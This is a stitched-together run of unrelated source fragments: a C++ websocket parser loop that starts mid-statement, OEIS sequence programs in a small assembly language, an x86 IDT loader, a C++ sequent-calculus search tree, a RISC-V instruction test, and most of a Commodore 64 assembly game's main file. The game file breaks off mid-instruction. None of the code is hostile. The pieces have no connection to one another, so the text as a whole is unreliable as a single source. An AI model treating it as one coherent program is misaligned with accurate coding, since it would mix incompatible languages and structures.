ls.proceed(nullptr, (void*)str.str, str.size); } else break; } } template<typename lws_w> void proceed_lws_parser(volatile bool& can_run) { if(getenv("lws_fake")) proceed_lws_parser_fake<lws_w>(can_run); else while(can_run) { try { lws_w ls; ls.context = create_context<lws_w>(); connect(ls); int n = 0, i = 0; while(can_run && n >= 0 && !ls.closed) { if(!((++i) % 50)) { i = 0; if(ls.data_time + 10 < time(NULL)) throw std::runtime_error(es() % " no data from " % ls.data_time); } n = lws_service(ls.context, 0); } } catch(std::exception& e) { mlog() << "proceed_lws_parser " << e; if(can_run) usleep(5000 * 1000); } mlog(mlog::critical) << "proceed_lws_parser() recreate loop"; if(can_run) usleep(1000 * 1000); } }
; A189638: Partial sums of A116178. ; 0,0,1,1,1,2,2,3,4,4,4,5,5,5,6,6,7,8,8,8,9,9,10,11,11,12,13,13,13,14,14,14,15,15,16,17,17,17,18,18,18,19,19,20,21,21,21,22,22,23,24,24,25,26,26,26,27,27,27,28,28,29,30,30,30,31,31,32,33,33,34,35,35,35,36,36,37,38,38,39,40 mov $2,$0 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mov $3,3 lpb $0 sub $0,1 mul $0,2 dif $0,6 lpe mod $0,$3 add $1,$0 lpe div $1,2 mov $0,$1
section .text global load_idt load_idt: mov eax, [esp + 4] lidt [eax] ret
#include "searchTree.h" SearchTree::SearchTree(Sequent& rootNodeValue) { this->rootNode = std::make_shared<Node>(); std::pair<Sequent, std::optional<Sequent>> v; v.first = rootNodeValue; this->rootNode->data = v; this->rootNode->parent = nullptr; } SearchTree::~SearchTree() { } const std::shared_ptr<Node>& SearchTree::getRootPtr() { return this->rootNode; } void SearchTree::addChild(const std::shared_ptr<Node>& child, const std::shared_ptr<Node>& current) { current->children.push_back(child); } // Loop through list of formulas and apply sequent rule to decompose where possible void SearchTree::childrenFromSequent(Sequent& s,std::vector<std::string>& formulas, const std::shared_ptr<Node>& current, bool left) { for (int i = 0; i < formulas.size(); i++) { if (Rule::checkMatch(formulas.at(i))) { std::shared_ptr<Node> newNodePtr = std::make_shared<Node>(); newNodePtr->parent = current; newNodePtr->data = Rule::tranform(s, left, i); addChild(newNodePtr, current); } } } // Recursively decompose formulas in sequent until you are left with a formula that satisfies sequent rule P1 void SearchTree::findTransformations(const std::shared_ptr<Node>& current, std::vector<std::shared_ptr<Node>>* outVec, bool* resultFound) { if (!(*resultFound)) { childrenFromSequent(current->data.first, current->data.first.getLeft(), current, true); childrenFromSequent(current->data.first, current->data.first.getRight(), current, false); if (current->data.second.has_value()) { childrenFromSequent(current->data.second.value(), current->data.second.value().getLeft(), current, true); childrenFromSequent(current->data.second.value(), current->data.second.value().getRight(), current, false); } for (auto& node: current->children) { findTransformations(node, outVec, resultFound); } if (current->children.empty()) { if (Utils::checkFirstRule(current->data.first.getLeft(), current->data.first.getRight())) { *resultFound = true; outVec->push_back(current); } else if (current->data.second.has_value()) { if (Utils::checkFirstRule(current->data.second.value().getLeft(), current->data.second.value().getRight())) { *resultFound = true; outVec->push_back(current); } } } } }
; A075918: Fifth column of triangle A075501. ; Submitted by Jamie Morken(w3) ; 1,90,5040,226800,9008496,330674400,11511434880,386143718400,12611398415616,403864019919360,12744269679697920,397694704355020800,12304809943691636736,378212825199337758720,11565710925825703772160 mov $2,6 pow $2,$0 seq $0,481 ; Stirling numbers of the second kind, S(n,5). mul $0,$2
; A142666: Primes congruent to 2 mod 57. ; Submitted by Jon Maiga ; 2,59,173,401,743,857,971,1427,1997,2111,2339,2909,3023,3137,3251,3593,3821,4049,4391,4733,5189,5303,5417,5531,5987,6101,6329,6899,7013,7127,7583,8039,8609,8837,8951,9293,9521,9749,10091,10433,10889,11003,11117,11801,12143,12713,12941,13397,13967,14081,14423,14537,14879,15107,15791,16361,16703,16931,17159,17387,17729,17957,18413,18869,19211,19553,20123,20693,20807,20921,21149,21377,21491,22859,22973,23087,23201,24113,24683,25253,25367,26393,26849,27077,27191,27647,28559,28901,29129,29243,29927 mov $2,$0 pow $2,2 mov $4,1 lpb $2 mov $3,$4 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 mov $1,$0 max $1,0 cmp $1,$0 mul $2,$1 sub $2,1 add $4,57 lpe mov $0,$4 add $0,1
addi $x0, $x0, 0 # nop addi $x1, $x0, 1 # $x1 = 1 addi $x2, $x1, 1 # $x2 = 2 ori $x3, $x2, 1 # $x3 = 3 ori $x5, $x1, 4 # $x5 = 5 andi $x4, $x5, 6 # $x4 = 4 addi $x7, $zero, 7 # $x7 = 7 addi $x6, $x7, -1 # $x6 = 6 slti $x8, $x6, 7 # $x8 = 1 slti $x9, $x6, 5 # $x9 = 0 slti $x10, $x6, 6 # $x10 = 0 sltiu $x11, $x0, 1 # $x11 = 1 xori $x12, $x7, 5 # $x12 = 2 slli $x13, $x3, 2 # $x13 = 12 addi $x13, $x13, 1 # $x13 = 13 srli $x14, $x13, 2 # $x14 = 3 addi $x15, $x0, -8 # $x15 = -8 srai $x16, $x15, 2 # $x16 = -2 slti $x17, $x16, 0 # $x17 = 1 sltiu $x18, $x16, 0 # $x18 = 0 # tests complete, set rest to zero addi $x19, $x0, 0 # $x19 = 0 addi $x20, $x0, 0 # $x20 = 0 addi $x21, $x0, 0 # $x21 = 0 addi $x22, $x0, 0 # $x22 = 0 addi $x23, $x0, 0 # $x23 = 0 addi $x24, $x0, 0 # $x24 = 0 addi $x25, $x0, 0 # $x25 = 0 addi $x26, $x0, 0 # $x26 = 0 addi $x27, $x0, 0 # $x27 = 0 addi $x28, $x0, 0 # $x28 = 0 addi $x29, $x0, 0 # $x29 = 0 addi $x30, $x0, 0 # $x30 = 0 addi $x31, $x0, 0 # $x31 = 0
////////////////////////////////////////////////////////////////////////////// // astrorace.asm // Copyright(c) 2021 Neal Smith. // License: MIT. See LICENSE file in root directory. // // Astro Race Main program ////////////////////////////////////////////////////////////////////////////// #import "../nv_c64_util/nv_c64_util_macs_and_data.asm" #import "astro_sound_macs.asm" *=$0800 "BASIC Start" // location to put a 1 line basic program so we can just // type run to execute the assembled program. // will just call assembled program at correct location // 10 SYS (4096) // These bytes are a one line basic program that will // do a sys call to assembly language portion of // of the program which will be at $1000 or 4096 decimal // basic line is: // 10 SYS (4096) .byte $00 // first byte of basic area should be 0 .byte $0E, $08 // Forward address to next basic line .byte $0A, $00 // this will be line 10 ($0A) .byte $9E // basic token for SYS .byte $20, $28, $34, $30, $39, $36, $29 // ASCII for " (4096)" .byte $00, $00, $00 // end of basic program (addr $080E from above) *=$0820 "Main Program Vars" #import "astro_keyboard_macs.asm" #import "astro_vars_data.asm" #import "astro_wind_data.asm" #import "astro_ship_death_data.asm" #import "astro_ship_shield_data.asm" #import "astro_blackhole_data.asm" .const KEY_COOL_DURATION = $08 .const ASTRO_GAME_SECONDS_ROW = 0 .const ASTRO_GAME_SECONDS_COL = 17 .const DEBUG_KEYS_ON = false .const HOLE_SOUND_FRAMES = 31 ship1_collision_sprite_label: .text @"ship1 coll sprite: \$00" nv_b8_label: .text @"nv b8 coll sprite: \$00" // the data for the sprites. // the file specifies where it assembles to ($0900) #import "astro_sprite_data.asm" // our assembly code will goto this address // it will go from $1000-$2FFF *=$1000 "Main Start" jmp RealStart #import "astro_wind_code.asm" #import "../nv_c64_util/nv_screen_code.asm" #import "../nv_c64_util/nv_sprite_raw_collisions_code.asm" #import "../nv_c64_util/nv_sprite_raw_code.asm" #import "../nv_c64_util/nv_sprite_extra_code.asm" #import "astro_ships_code.asm" #import "astro_ship_death_code.asm" #import "astro_ship_shield_code.asm" ////////////////////////////////////////////////////////////////////////////// // charset is expected to be at $3000 *=$3000 "charset start" .import binary "astro_charset.bin" // end charset ////////////////////////////////////////////////////////////////////////////// #import "astro_starfield_code.asm" #import "astro_turret_armer_code.asm" #import "../nv_c64_util/nv_joystick_code.asm" #import "astro_blackhole_code.asm" #import "astro_turret_code.asm" .const ASTRO_CHANGE_UP_MASK = $03 RealStart: jsr DoPreTitleInit DoTitle: jsr TitleStart // show title screen bne RunGame // make sure non zero in accum and run game jmp ProgramDone // if zero in accum then user quit RunGame: // standard initialization jsr DoPostTitleInit .var showTiming = false .var showFrameCounters = false .var showSecondCounter = false jsr StarStart // display timer with initial value if time based game lda astro_end_on_seconds beq MainLoop nv_screen_poke_hex_word_mem(ASTRO_GAME_SECONDS_ROW, ASTRO_GAME_SECONDS_COL, astro_game_seconds, false) MainLoop: nv_adc16x_mem_immed(frame_counter, 1, frame_counter) nv_adc16x_mem_immed(second_partial_counter, 1, second_partial_counter) // check if a full second has elapsed nv_bge16_immed(second_partial_counter, ASTRO_FPS, FullSecond) // not a full second (or time to change up) so do the regular frame stuff jmp RegularFrame FullSecond: // a full second has elapsed, do the stuff that we do once per second // add one to the second counter and display second counter nv_adc16x_mem_immed(second_counter, 1, second_counter) .if (showFrameCounters) { nv_screen_poke_hex_word_mem(0, 7, second_counter, true) } // check the quit flag which is set if user presses quit key lda quit_flag beq CheckEndOnSeconds // quit flag is set, program done jmp ProgramDone CheckEndOnSeconds: lda astro_end_on_seconds beq DoneEndOnSeconds // playing until some number of seconds elapses nv_bcd_sbc16_mem_immed(astro_game_seconds, $0001, astro_game_seconds) nv_screen_poke_hex_word_mem(ASTRO_GAME_SECONDS_ROW, ASTRO_GAME_SECONDS_COL, astro_game_seconds, false) lda astro_game_seconds bne DoneEndOnSeconds // game is over jsr DoWinner jmp DoTitle DoneEndOnSeconds: // clear partial second counter which counts frame up to a // full second then back to zero nv_store16_immed(second_partial_counter, $0000) // now check the "change up" stuff that happens once per x seconds lda #ASTRO_CHANGE_UP_MASK and second_counter //set flag every 4 secs when bits 0 and 1 clear bne RegularFrame // if here its time to changeup jsr ChangeUp .if (showFrameCounters) { nv_screen_poke_hex_word_mem(0, 14, change_up_counter, true) } RegularFrame: // its a new frame, but not a new second and not time to change up .if (showFrameCounters) { nv_screen_poke_hex_word_mem(0, 0, frame_counter, true) } //// call function to move sprites around based on X and Y velocity // but only modify the position in their extra data block not on screen .if (showTiming) { nv_screen_set_border_color_immed(NV_COLOR_LITE_GREEN) } // check if its time to start some wind jsr WindCheck // read keyboard and take action before other effects incase // other effects will override keyboard action jsr DoKeyboard jsr DoJoystick // step through the effects jsr StarStep jsr WindStep jsr DoHoleStep jsr TurretStep jsr TurretArmStep jsr ShipDeathStep jsr ShipShieldStep // fire the turret automatically if its time. jsr TurretAutoStart // move the sprites based on velocities set above. jsr ship_1.MoveInExtraData jsr ship_2.MoveInExtraData jsr asteroid_1.MoveInExtraData jsr asteroid_2.MoveInExtraData jsr asteroid_3.MoveInExtraData jsr asteroid_4.MoveInExtraData jsr asteroid_5.MoveInExtraData .if (showTiming) { //lda #NV_COLOR_LITE_BLUE // change border color back to //sta BORDER_COLOR_REG_ADDR // visualize timing nv_screen_set_border_color_mem(border_color) } nv_sprite_wait_last_scanline() // wait for particular scanline. lda astro_slow_motion beq AstroSkipSlowMo nv_sprite_wait_specific_scanline(240) AstroSkipSlowMo: .if (showTiming) { nv_screen_set_border_color_immed(NV_COLOR_GREEN) //lda #NV_COLOR_GREEN // change border color to //sta BORDER_COLOR_REG_ADDR // visualize timing } SoundDoStep() jsr SlowMoStep jsr StepShipExhaust //// call routine to update sprite x and y positions on screen jsr ship_1.SetLocationFromExtraData jsr ship_2.SetLocationFromExtraData jsr asteroid_1.SetLocationFromExtraData jsr asteroid_2.SetLocationFromExtraData jsr asteroid_3.SetLocationFromExtraData jsr asteroid_4.SetLocationFromExtraData jsr asteroid_5.SetLocationFromExtraData nv_sprite_raw_get_sprite_collisions_in_a() sta sprite_collision_reg_value ////////////////////////////////////////////////////////////////////// //// check for ship1 collisions jsr CheckCollisionsUpdateScoreShip1 beq NoWinShip1 // if get here then ship 1 has winning score // update ship 2 in case it also has winning score jsr CheckCollisionsUpdateScoreShip2 jsr DoWinner jmp DoTitle NoWinShip1: NoCollisionShip1: ////////////////////////////////// //// check for ship2 collisions jsr CheckCollisionsUpdateScoreShip2 beq NoWinShip2 jsr DoWinner jmp DoTitle NoWinShip2: jsr TurretHitCheck jsr ScoreToScreen jmp MainLoop ProgramDone: // Done moving sprites, move cursor out of the way // and return, but leave the sprites on the screen // also set border color to normal nv_screen_set_border_color_immed(NV_COLOR_LITE_BLUE) nv_screen_set_background_color_immed(NV_COLOR_BLUE) jsr StarCleanup jsr TurretArmCleanup jsr TurretCleanup jsr WindCleanup jsr HoleCleanup jsr ShipDeathCleanup jsr ShipShieldCleanup jsr JoyCleanup jsr SoundMuteOn jsr SoundDone jsr AllSpritesDisable nv_key_done() nv_rand_done() nv_screen_custom_charset_done() nv_screen_plot_cursor(5, 24) nv_screen_clear() rts // program done, return // end main program ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to step the hole DoHoleStep: { jsr HoleActive bne HoleIsActive // its active HoleNotActive: //jsr SoundPlaySilenceFX rts HoleIsActive: jsr HoleStep nv_ble16(frame_counter, astro_hole_restart_sound_frame, DoneDoHoleStep) jsr SoundPlayHoleFX nv_adc16x_mem_immed(frame_counter, HOLE_SOUND_FRAMES, astro_hole_restart_sound_frame) DoneDoHoleStep: rts } // DoHoleStep - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to flash the ship's exhaust different colors StepShipExhaust: { lda frame_counter and #$07 bne NoToggle IsToggle: lda astro_multi_color1 cmp #NV_COLOR_LITE_GREEN beq GoYellow GoGreen: lda #NV_COLOR_LITE_GREEN sta astro_multi_color1 nv_sprite_raw_set_multicolors(NV_COLOR_LITE_GREEN, NV_COLOR_LITE_GREY) jmp NoToggle GoYellow: lda #NV_COLOR_YELLOW sta astro_multi_color1 nv_sprite_raw_set_multicolors(NV_COLOR_YELLOW, NV_COLOR_LITE_GREY) NoToggle: rts } // StepShipExhaust - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to check collisions for ship 1 and update score accordingly // return value: // Accum: will be non zero if ship has a winning score, or zero if // it does not CheckCollisionsUpdateScoreShip1: check_collisions_update_score_sr(ship_1, ship_1_death_count, 1, ship_1_next_possible_bounce_frame, SoundPlayShip1AsteroidFX) // CheckCollisionsUpdateScoreShip1 end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to check if ship 2 hit asteroid and update score accordingly // return values: // Accum: will have 0 if ship didn't win, or non zero if ship won CheckCollisionsUpdateScoreShip2: check_collisions_update_score_sr(ship_2, ship_2_death_count, 2, ship_2_next_possible_bounce_frame, SoundPlayShip2AsteroidFX) // CheckCollisionsUpdateScoreShip2 end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // macro subroutine to check if ship hit asteroid and update score // accordingly // macro params: // ship: is ship_1 or ship_2 // ship_death_count: is the address of the byte that holds the ships // death count. it will be non zero if dead // ship_num: is 1 for ship_1 or 2 for ship_2 // next_possible_bounce_frame: is the address of the word that // holds the next frame at which this // ship will be able to bounce. // sound_fx_ship_hit_asteroid: is the address to jsr to play the ship // hit asteroid sound fx .macro check_collisions_update_score_sr(ship, ship_death_count, ship_num, next_possible_bounce_frame, sound_fx_ship_hit_asteroid) { jsr ship.CheckShipCollision // sets ship.collision_sprite lda ship.collision_sprite // closest_sprite, will be $FF bpl HandleCollisionShip // if no collisions so check minus jmp NoCollisionShip HandleCollisionShip: lda ship_death_count // if ship is dead then ignore collisions beq NoDeath jmp NoCollisionShip NoDeath: // get extra pointer for the sprite that ship1 collided with loaded // so that we can then disable it ldy ship.collision_sprite cpy blackhole.sprite_num bne CollisionNotHole jsr HoleForceStop jsr SlowMoStart jsr SoundPlaySilenceFX lda #0 rts CollisionNotHole: lda #ship_num jsr ShipShieldIsActive // will not change Y Reg bne ShipShieldUp jsr AstroSpriteExtraPtrToRegs // Y Reg still has sprite number in it jsr NvSpriteExtraDisable jsr sound_fx_ship_hit_asteroid // add one to ship score nv_bcd_adc16_mem_immed(ship.score, $0001, ship.score) // check if playing time based or score based end lda astro_end_on_seconds beq WinShip jmp NoWinShip WinShip: // check if that is the winning score nv_blt16_far(ship.score, astro_score_to_win, NoWinShip) // if we get here then ship won lda #1 rts ShipShieldUp: // Y Reg should still have the sprite number. sty temp // store sprite number in temp nv_blt16_far(frame_counter, next_possible_bounce_frame, NoBounce) // here so we need to bounce the ship/asteroid. ldy temp // sprite number back in Y jsr AstroSpriteExtraPtrToRegs // load extra ptr to accum/X Reg jsr NvSpriteGetHitboxCenter // get asteroid's center x/y screen coords nv_xfer16_mem_mem(nv_sprite_hitbox_center_x, asteroid_center_x) nv_xfer16_mem_mem(nv_sprite_hitbox_center_y, asteroid_center_y) jsr ship.LoadExtraPtrToRegs jsr NvSpriteGetHitboxCenter // get asteroid's center x/y screen coords nv_xfer16_mem_mem(nv_sprite_hitbox_center_x, ship_center_x) nv_xfer16_mem_mem(nv_sprite_hitbox_center_y, ship_center_y) BounceY: nv_blt16(asteroid_center_y, ship_center_y, BounceAsteroidAbove) BounceAsteroidBelow: ldy temp // sprite number back in Y jsr AstroSpriteExtraPtrToRegs // load extra ptr to accum/X Reg jsr NvSpriteAssureVelPosY jsr ship.LoadExtraPtrToRegs jsr NvSpriteAssureVelNegY jmp BounceX BounceAsteroidAbove: ldy temp // sprite number back in Y jsr AstroSpriteExtraPtrToRegs // load extra ptr to accum/X Reg jsr NvSpriteAssureVelNegY jsr ship.LoadExtraPtrToRegs jsr NvSpriteAssureVelPosY BounceX: nv_blt16(asteroid_center_x, ship_center_x, BounceAsteroidLeft) BounceAsteroidRight: ldy temp // sprite number back in Y jsr AstroSpriteExtraPtrToRegs // load extra ptr to accum/X Reg jsr NvSpriteAssureVelPosX jsr ship.LoadExtraPtrToRegs jsr NvSpriteAssureVelNegX jmp BounceDone BounceAsteroidLeft: ldy temp // sprite number back in Y jsr AstroSpriteExtraPtrToRegs // load extra ptr to accum/X Reg jsr NvSpriteAssureVelNegX jsr ship.LoadExtraPtrToRegs jsr NvSpriteAssureVelPosX BounceDone: nv_adc16x_mem_immed(frame_counter, 3, next_possible_bounce_frame) NoBounce: NoWinShip: NoCollisionShip: lda #0 rts temp: .byte $00 asteroid_center_x: .word $00 asteroid_center_y: .word $00 ship_center_x: .word $00 ship_center_y: .word $00 } // check_collisions_update_score_sr end ////////////////////////////////////////////////////////////////////////////// SlowMoStart: { lda #255 sta astro_slow_motion rts } SlowMoForceStop: { lda #0 sta astro_slow_motion rts } SlowMoStep: { lda astro_slow_motion beq Done dec astro_slow_motion Done: rts } ////////////////////////////////////////////////////////////////////////////// // subroutine to initialize the things that must be initialized before // screen is started DoPreTitleInit: { nv_screen_custom_charset_init(6, false) nv_screen_set_border_color_mem(border_color) nv_screen_set_background_color_mem(background_color) // initialize joystick jsr JoyInit // initialize random numbers, needs to be before soundstarts nv_rand_init(true) // do before SoundInit // initialized keyboard routine so user can use keyboard // in title screen for changing options etc. nv_key_init() // initialize song 0 so we can hear music during title // so user can adjust volume //lda #ASTRO_SOUND_MAIN_TUNE lda #ASTRO_SOUND_TITLE_TUNE jsr SoundInit // start at volumen 2 lda #$02 jsr SoundVolumeSet // clear quit flag since it can be set in title screen lda #$00 sta quit_flag sta astro_slow_motion // start out in easy mode, user can adjust in title screen lda #ASTRO_DIFF_EASY sta astro_diff_mode // set the default game seconds nv_store16_immed(astro_game_seconds, ASTRO_GAME_SECONDS_DEFAULT) // set default, play to reach seconds or to reach score lda #0 sta astro_end_on_seconds // set the global sprite multi colors nv_sprite_raw_set_multicolors(NV_COLOR_LITE_GREEN, NV_COLOR_LITE_GREY) // setup the score required to win to default value nv_store16_immed(astro_score_to_win, ASTRO_DEFAULT_SCORE_TO_WIN) nv_xfer8x_immed_mem(1, astro_single_player_flag) // setup everything for the sprite_ship so its ready to enable jsr ship_1.Setup jsr ship_2.Setup jsr ship_1.SetColorAlive jsr ship_2.SetColorAlive // setup everything for the sprite_asteroid so its ready to enable jsr asteroid_1.Setup jsr asteroid_2.Setup jsr asteroid_3.Setup jsr asteroid_4.Setup jsr asteroid_5.Setup // initialize sprite locations from their extra data blocks jsr ship_1.SetLocationFromExtraData jsr ship_2.SetLocationFromExtraData jsr asteroid_1.SetLocationFromExtraData jsr asteroid_2.SetLocationFromExtraData jsr asteroid_3.SetLocationFromExtraData jsr asteroid_4.SetLocationFromExtraData jsr asteroid_5.SetLocationFromExtraData rts } // DoPreTitleInit - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to initialize the things that must be initialized after the // title screen is started DoPostTitleInit: { nv_store16_immed(second_counter, $0000) nv_store16_immed(second_partial_counter, $0000) nv_store16_immed(frame_counter, $0000) nv_store16_immed(ship_1.score, $0000) nv_store16_immed(ship_2.score, $0000) nv_store16_immed(ship_1_next_possible_bounce_frame, $0000) nv_store16_immed(ship_2_next_possible_bounce_frame, $0000) lda #$00 sta sprite_collision_reg_value sta astro_slow_motion // initialize based on difficulty (must be after standard init) jsr AstroSetDiffParams // clear the screen just to have an empty canvas nv_screen_clear() jsr StarInit jsr WindInit jsr TurretInit // initialize song 0 so we can hear music during title // so user can adjust volume lda #ASTRO_SOUND_MAIN_TUNE jsr SoundInit // pass the diff mode to TurretArmInit. Note that we are // assuming that TURRET_ARM_EASY = ASTRO_DIFF_EASY, etc. // which is a convienent coincidence and why we are asserting it. .assert "Turret Arm Diff Check", TURRET_ARM_EASY == ASTRO_DIFF_EASY, true .assert "Turret Arm Diff Check", TURRET_ARM_MED == ASTRO_DIFF_MED, true .assert "Turret Arm Diff Check", TURRET_ARM_HARD == ASTRO_DIFF_HARD, true lda astro_diff_mode jsr TurretArmInit jsr TurretArmStart jsr ShipDeathInit jsr ShipShieldInit jsr HoleInit // initialize sprite locations to locations to start game .const SHIP1_INIT_X_LOC = 22 .const SHIP1_INIT_Y_LOC = 50 .const SHIP1_INIT_X_VEL = 1 .const SHIP1_INIT_Y_VEL = 1 .const SHIP2_INIT_X_LOC = 22 .const SHIP2_INIT_Y_LOC = 210 .const SHIP2_INIT_X_VEL = 1 .const SHIP2_INIT_Y_VEL = 1 // init ship 1 nv_store16_immed(ship_1.x_loc, SHIP1_INIT_X_LOC) lda #SHIP1_INIT_Y_LOC sta ship_1.y_loc lda #SHIP1_INIT_X_VEL sta ship_1.x_vel lda #SHIP1_INIT_Y_VEL sta ship_1.y_vel jsr ship_1.SetLocationFromExtraData jsr ship_1.SetColorAlive // init ship 2 nv_store16_immed(ship_2.x_loc, 0) lda #SHIP2_INIT_Y_LOC sta ship_2.y_loc lda #SHIP2_INIT_X_VEL sta ship_2.x_vel lda #SHIP2_INIT_Y_VEL sta ship_2.y_vel jsr ship_2.SetLocationFromExtraData // set color for ship 2 jsr ship_2.SetColorAlive jsr asteroid_1.SetLocationFromExtraData jsr asteroid_2.SetLocationFromExtraData jsr asteroid_3.SetLocationFromExtraData jsr asteroid_4.SetLocationFromExtraData jsr asteroid_5.SetLocationFromExtraData jsr AllSpritesEnable rts } // DoPosttitleInit - end ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to enable all sprites AllSpritesEnable: { // enable sprites jsr ship_1.Enable jsr ship_2.Enable jsr asteroid_1.Enable jsr asteroid_2.Enable jsr asteroid_3.Enable jsr asteroid_4.Enable jsr asteroid_5.Enable rts } // AllSpritesEnable ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to disable all sprites AllSpritesDisable: { // enable sprites jsr ship_1.Disable jsr ship_2.Disable jsr asteroid_1.Disable jsr asteroid_2.Disable jsr asteroid_3.Disable jsr asteroid_4.Disable jsr asteroid_5.Disable rts } // AllSpritesDisable ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to call when there is a winner detected DoWinner: { .const WINNER_SHIP_X_LOC = 69 .const WINNER_SHIP_Y_LOC = 131 .const WINNER_TIE_SHIP_X_LOC = WINNER_SHIP_X_LOC - 30 .const WINNER_TIE_SHIP_Y_LOC = WINNER_SHIP_Y_LOC .const WINNER_TEXT_ROW = 11 .const WINNER_TEXT_COL = 10 .const WINNER_CONTINUE_ROW = 23 .const WINNER_CONTINUE_COL = 10 jsr SoundMuteOn jsr HoleForceStop jsr AllSpritesDisable nv_screen_clear() // show the score jsr ScoreToScreen // force sheilds off for both ships lda #$03 jsr ShipShieldForceStop // check for a tie nv_beq16(ship_1.score, ship_2.score, WinnerTie) // not a tie, there was a winner nv_screen_poke_color_str(WINNER_TEXT_ROW, WINNER_TEXT_COL, NV_COLOR_WHITE, winner_str) nv_bge16(ship_1.score, ship_2.score, WinnerShip1) WinnerShip2: nv_store16_immed(ship_2.x_loc, WINNER_SHIP_X_LOC) lda #WINNER_SHIP_Y_LOC sta ship_2.y_loc jsr ship_2.SetLocationFromExtraData jsr ship_2.SetColorAlive jsr ship_2.Enable jmp WinnerWaitForKey WinnerShip1: nv_store16_immed(ship_1.x_loc, WINNER_SHIP_X_LOC) lda #WINNER_SHIP_Y_LOC sta ship_1.y_loc jsr ship_1.SetLocationFromExtraData jsr ship_1.SetColorAlive jsr ship_1.Enable jmp WinnerWaitForKey WinnerTie: nv_screen_poke_color_str(WINNER_TEXT_ROW, WINNER_TEXT_COL, NV_COLOR_WHITE, winner_tie_str) // display ship 1 nv_store16_immed(ship_1.x_loc, WINNER_SHIP_X_LOC) lda #WINNER_SHIP_Y_LOC sta ship_1.y_loc jsr ship_1.SetLocationFromExtraData jsr ship_1.SetColorAlive jsr ship_1.Enable // display ship 2 nv_store16_immed(ship_2.x_loc, WINNER_TIE_SHIP_X_LOC) lda #WINNER_TIE_SHIP_Y_LOC sta ship_2.y_loc jsr ship_2.SetLocationFromExtraData jsr ship_2.SetColorAlive jsr ship_2.Enable WinnerWaitForKey: // fall through to wait for key nv_screen_poke_color_str(WINNER_CONTINUE_ROW, WINNER_CONTINUE_COL, NV_COLOR_WHITE, winner_continue_str) nv_screen_poke_color_str(WINNER_CONTINUE_ROW+1, WINNER_CONTINUE_COL, NV_COLOR_WHITE, winner_quit_str) nv_key_wait_no_key() // initialize song 0 so we can hear music during title // so user can adjust volume lda #ASTRO_SOUND_WIN_TUNE jsr SoundInit jsr SoundMuteOff WinnerWaitForKeyLoop: nv_sprite_wait_last_scanline() SoundDoStep() nv_key_scan() nv_key_get_last_pressed_a() // get key pressed in accum WinnerTryContinueKey: cmp #KEY_WINNER_CONTINUE bne WinnerTryQuitKey WinnerGotContinueKey: beq WinnerGotKey WinnerTryQuitKey: cmp #KEY_QUIT bne WinnerKeyCheckEnd WinnerGotQuitKey: lda #1 sta quit_flag jmp WinnerGotKey WinnerKeyCheckEnd: jmp WinnerWaitForKeyLoop WinnerGotKey: jsr SoundMuteOff jsr AllSpritesDisable // clear collsions so replaying won't use value from last // frame of this game lda #$00 sta sprite_collision_reg_value rts //winner_key_count: .byte 0 //winner_temp_key: .byte 0 winner_str: .text @"the winner!\$00" winner_tie_str: .text @"tie game!\$00" winner_continue_str: .text @"press p to play more\$00" winner_quit_str: .text @"press q to quit now\$00" } // DoWinner End ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // subroutine to set the program parameters based on the difficulty // option specified on title screen // NPS single player AstroSetDiffParams: { lda astro_diff_mode TryEasy: cmp #ASTRO_DIFF_EASY bne TryMed IsEasy: // Set easy mode params here nv_store16_immed(astro_auto_turret_wait_frames, ASTRO_AUTO_TURRET_WAIT_FRAMES_EASY) nv_store16_immed(astro_ai_turret_frames_before_auto, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_EASY) nv_store16_immed(astro_ai_turret_frames_before_auto_base, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_EASY) jmp DoneDiffParams TryMed: cmp #ASTRO_DIFF_MED bne TryHard IsMed: // Set medium mode params here nv_store16_immed(astro_auto_turret_wait_frames, ASTRO_AUTO_TURRET_WAIT_FRAMES_MED) nv_store16_immed(astro_ai_turret_frames_before_auto, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_MED) nv_store16_immed(astro_ai_turret_frames_before_auto_base, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_MED) jmp DoneDiffParams TryHard: // if wasn't easy or medium, assume hard // set hard mode params here nv_store16_immed(astro_auto_turret_wait_frames, ASTRO_AUTO_TURRET_WAIT_FRAMES_HARD) nv_store16_immed(astro_ai_turret_frames_before_auto, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_HARD) nv_store16_immed(astro_ai_turret_frames_before_auto_base, ASTRO_AI_TURRET_FRAMES_BEFORE_AUTO_HARD) // fall through to done DoneDiffParams: nv_adc16x(frame_counter, astro_auto_turret_wait_frames, astro_auto_turret_next_shot_frame) nv_sbc16(astro_auto_turret_next_shot_frame, astro_ai_turret_frames_before_auto, astro_ai_turret_next_shot_frame) rts } ////////////////////////////////////////////////////////////////////////////// // subroutine to put the score onto the screen ScoreToScreen: { nv_screen_poke_bcd_word_mem(0, 0, ship_1.score) nv_screen_poke_bcd_word_mem(24, 0, ship_2.score) rts } ////////////////////////////////////////////////////////////////////////////// // subroutine to change things up every x seconds. ChangeUp: { .const COLOR_MASK = $0F // increment the changeup counter. nv_adc16x_mem_immed(change_up_counter, 1, change_up_counter) inc cycling_color lda cycling_color and #COLOR_MASK sta cycling_color lda background_color and #COLOR_MASK cmp cycling_color bne NotBG IsBG: inc cycling_color lda cycling_color and #COLOR_MASK sta cycling_color NotBG: nv_sprite_raw_set_color_from_memory(1, cycling_color) // change some speeds SkipShipMax: inc asteroid_1.y_vel // increment asteroid Y velocity lda asteroid_1.y_vel // load new speed just incremented cmp 